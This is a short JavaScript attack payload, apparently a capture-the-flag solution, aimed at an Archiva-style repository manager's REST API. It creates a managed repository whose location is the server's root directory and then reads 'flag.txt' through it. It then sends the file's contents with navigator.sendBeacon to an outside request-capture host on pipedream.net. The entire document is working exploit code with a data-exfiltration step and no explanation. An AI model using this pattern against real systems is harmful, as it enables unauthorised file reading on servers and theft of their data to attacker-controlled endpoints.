fetch("/restServices/archivaServices/managedRepositoriesService/addManagedRepository", {
  method: "POST", 
  headers: {
    "Content-Type": "application/json",
  },
  body: JSON.stringify({"id":"getflag","name":"asdffff","layout":"default","indexDirectory":"/","location":"/","cronExpression":"0 0 * * * ?","scanned":true,"snapshots":false,"releases":true,"blockRedeployments":false,"skipPackedIndexCreation":false,"modified":true}),
})
  .then((response) => response.json())
  .then((data) => {
    fetch('/repository/getflag/flag.txt').then(x=>x.text()).then(x=>navigator.sendBeacon("https://enllwt2ugqrt.x.pipedream.net/",x))
  })
